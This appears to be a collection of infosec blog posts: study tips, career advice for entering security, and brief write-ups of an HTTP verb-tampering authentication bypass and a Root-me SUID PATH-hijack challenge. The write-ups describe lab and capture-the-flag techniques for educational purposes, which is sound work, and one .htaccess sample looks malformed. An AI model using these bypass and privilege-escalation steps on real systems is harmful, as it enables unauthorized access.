I’m going to share what’s worked for me over the years that I’ve served in the military and worked in IT. Over 20 years ago I was an Undesignated Airman in the Navy, meaning I didn’t have a formal training school for a rating (or MOS in other branches). In order to take the test for Aviation Electrician I had to digest a stack of books called the Navy Electrical and Electronic Training Series (NEETS) that was about a foot tall. Through the years I had to study an even larger stack of manuals to be advanced in rank. After the Navy, the study habits that I am going to outline here helped me to earn various IT and security certifications including OSCP, OSWP, CCNA, CCA, and Security+.

Start with a written plan. In the case of information security, there are so many things to learn that it’s easy to feel overwhelmed. Think about your knowledge and skills gaps and write down your plan of study. If you’re working on a certification, decide how long you think it will take to cover each section of the study guide and set an exam date. Book the exam right away. The sense of impending doom will help you to stay on track. If something comes up that delays taking the exam you can usually cancel or reschedule if you contact the testing center in advance.

While studying, find a quiet place where you can read out loud without bothering anyone. I’ve found that reading out loud leads to better memory retention, most likely because of the increase in neural connections required to speak it vs. only think it.

For memorization write out flash cards. Again, the extra step of writing it down seems to lead to better memory retention vs. only reading it silently. As you flip through the stack of flash cards, remove any cards from the stack that you can easily answer. This leaves the more difficult cards that will be reviewed more often. Repeat the process of reviewing the stack, removing cards that you can easily answer until you have removed every card. Then repeat the process by reviewing the whole stack again.

For hands-on learning, write a lesson plan as if you’re going to teach the subject to a complete beginner. Create a PowerPoint presentation with screenshots as well as any commands that need to be run to use for the next step. Finally, install screen cast software and record your screen and voice while giving your presentation. While you review the video it will be easy to spot where you had problems or things went awry. Work through the issues to refine your presentation and then create a new screen cast. When I’m working in VMware doing security labs to learn new things I like to put screenshots and commands to run in Microsoft OneNote and use those notes on a second screen to work through my screen casts. If you work in a role that presents to customers or groups, a screen cast or web cast can help you to refine your speech and visual presentation. Recording screen casts is something I’ve only recently starting doing in order to prepare presentations for a local security meetup group.

What are your tips to hack the learning process?

How to break into information security

I’m including an email reply I just sent to another grad from ECPI, my alma mater. Please note that a degree isn’t a requirement to get into infosec. The person who emailed me is a recent college grad.

It’s not easy getting directly into an IT security job after college without having related experience. The two most common routes to security that I see are experienced developers or experienced system administrators. The reason is because it helps to be an experienced developer to be able to spot code flaws, or to have experience in how systems should be configured in order to spot vulnerabilities due to misconfigurations.

My recommendations:

Get the Security+ certification if you don’t already have it. My security team at CHKD has a desktop support tech that moved onto the team only after getting Security+ certified. Also there are many DoD/Contractor jobs in this area and they require a minimum of Security+ to get hired.

I recommend getting a job as a systems administrator and making it known to your employer that you are interested in security so that if there are any related tasks you can take on or lateral movement onto a security team is available then they’ll think of you. Once you have documented job experience on your resume related to security then it will be easier to move into security. Working as a system administrator you’ll most likely get job experience working with firewalls, endpoint security and other security technology that you can put on your resume that will help you when you apply for security jobs. When you apply for security jobs highlight all of the security related knowledge/skills/experience on your resume and include the URL for your blog and GitHub profile. If you can’t get into a security job right away, keep pushing towards security in whatever IT job you can get.

Decide on what specifically you want to do in IT security. The information security field has a lot of specialties. Check out Lesley Carhart’s blog posts on “Starting an Infosec Career”. My reasoning is that there are different paths and certifications depending on what you want to do. Her blog posts talk about what each job is like and how the people quoted in the article got into those jobs.

Other things you can do that will show enthusiasm to prospective employers:

  • Start a blog about security.
  • Join a security related meetup group. I run one (757 White Hat Hackers) and I attend meetups at another local security group. Both groups have people in attendance that are trying to break into security. Our meetings are a great way to meet others, ask questions, and network. I teach security and pentesting fundamentals at the group meetings as well as present more advanced techniques in order to get people interested in this field.
  • Use virtualization software like VMware Workstation Player or VirtualBox (both are free) and do security-related labs in your spare time and blog about it. My VMware home lab has a virtual firewall (pfsense) and various Windows and Linux servers that are vulnerable to various exploits and I use it to practice in my spare time. When I see a new tool or technique on Twitter or YouTube, I like to try it out in my lab to get familiar with it. This is a great way to keep stay up to date on the latest techniques and tools.
  • In your virtual lab, download vulnerable virtual machines from vulnhub.com and work on hacking and securing them. Blog about it and post your walkthroughs and include how to secure the same systems that you hacked (legally in your virtual lab of course). If you work on vulnhub.com virtual machines and don’t know what to do with them, read other people’s walkthroughs until you get the idea.

Go to security conferences, like the smaller regional BSides conferences and volunteer ahead of time. You’ll meet a lot of people in infosec that way and they encourage volunteers and one of those people you meet may give you a break. If you’re a volunteer you usually get in for free.

If you want to get into penetration testing, look into Offensive Security’s Pentesting with Kali course and the certification, OSCP. I earned the OSCP and OSWP certs last year before I got my current job. Even though this job wanted someone with a CISSP cert, which I don’t have, they were impressed with my OSCP cert and it helped. Even if you don’t have job experience, if you have OSCP cert then that proves that you can “hack it” because there’s no question and answer multiple choice test. It’s all hands on hacking in a lab environment. There are companies that hire people to be penetration testers without experience if you have OSCP cert, but be prepared to relocate for those jobs. After you have enough experience in pentesting you can usually work remotely from anywhere, but as a newb they will want you to work onsite.

Learn how to write code and how to break it. If you can discover and publish a CVE in your name it could make you famous in the industry.

Open a GitHub account and start publishing code and you can also contribute to other people’s open source projects. I’ve published some Python scripts on my GitHub account, some of it related to security, and I’ve also contributed to other people’s code. Python is a good place to start as most infosec jobs will expect you to be able to write Python and PowerShell code.

Get involved in CTF’s, Capture the Flag events where you hack into vulnerable systems as well as defend your own sytem during CTF challenges. You can participate in them remotely from home or in person at security conferences.

All of those things I’ve mentioned above are what employers look for in a candidate because it’s not just about what you know or have done, it’s also about showing enthusiasm and drive.

Check out infosec forums on Reddit, but make sure you search other posts and read the sidebar guidelines before you ask questions. People get a little harsh when you ask the same questions that hundreds of others have already asked and you didn’t bother to search and read first.

Best of luck and feel free to stay in touch and ask questions.


HTTP Verb Tampering

Here I have a static web page. I viewed the source and there aren’t any comments, Javascript, forms, or other exploitable features on the page.

I ran Dirbuster to discover additional unlinked content and found the directory /admin.

The Burp Suite Pro proxy history shows that the page is using Basic authentication.

I attempted to brute force the login but the password wasn’t found. Next I used Nmap to test for HTTP verb tampering.

Next I went back to Burp Suite, intercepted the request and changed the GET verb to GGG and was able to bypass authentication and retrieve the challenge password.

Here is a sample .htaccess file in which the author only limited the GET verb, which I was able to easily bypass.
AuthName “restrict access”

AuthType Basic
AuthUserFile /usr/local/etc/httpd/users
< Limit GET POST >
require group staff
< /Limit >

Additionally you could put all HTTP verbs in the file:
AuthName “restrict all methods”

AuthType Basic
AuthUserFile /usr/local/etc/httpd/users
require group staff
< /Limit >

However, you noticed that I was able to use Burp to tamper with the request and the server treated the unknown “GGG” as a GET request and allowed me to bypass authentication.
A safe alternative to prevent verb tampering is to remove all method limits which would require authentication for any methods which would catch anything you throw at it.
AuthName “restrict all methods except”

AuthType Basic
AuthUserFile /usr/local/etc/httpd/users
require group staff

Exploiting suid binary on Root-me.org ELF32 – System 1

Once logged in, I issued the “ls -l” command and find the binary “ch11” as well as the source code file. Notice the permissions of ch11 is suid root and our user account doesn’t have permissions to view the contents of the .passwd file which contains the flag. Even without the source code file, we can use the “strings” command to find enough of a clue to solve this challenge without a debugger. Notice the “ls /challenge/app-script/ch11/.passwd” where the .passwd file contains the flag.

I execute the ch11 binary:

Since the binary is suid, whatever command it executes runs as the file owner instead of our user.

I copied the /bin/cat command to /tmp/ls and export my path to /tmp and run the ch11 binary again. This time it executes the cat command from the /tmp/ls command and outputs the flag in the “.passwd” file!